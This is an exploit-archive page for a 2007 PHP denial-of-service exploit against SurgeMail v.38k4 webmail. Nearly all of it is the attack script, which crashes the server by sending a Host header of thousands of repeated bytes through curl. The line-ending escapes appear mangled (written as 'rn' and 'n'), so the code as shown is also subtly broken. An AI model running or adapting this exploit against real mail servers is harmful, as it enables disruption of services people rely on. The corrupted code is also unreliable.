[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SurgeMail v.38k4 webmail Host header Denial of Service Exploit
# Published : 2007-12-18
# Author : rgod
# Previous Title : WFTPD Explorer Pro 1.0 Remote Heap Overflow PoC
# Next Title : Samba 3.0.27a send_mailslot() Remote Buffer Overflow PoC 


<?php
/*
  SurgeMail v.38k4 webmail Host header denial of service exploit
  tested against the windows version

  rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);

        $header ="POST / HTTP/1.0rn";
        $header.="Host: $pufrn";
        $header.="Connection: Closernrn";
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."n";
        } else {
           curl_close($ch);
        }

?>

# www.Syue.com [2007-12-18]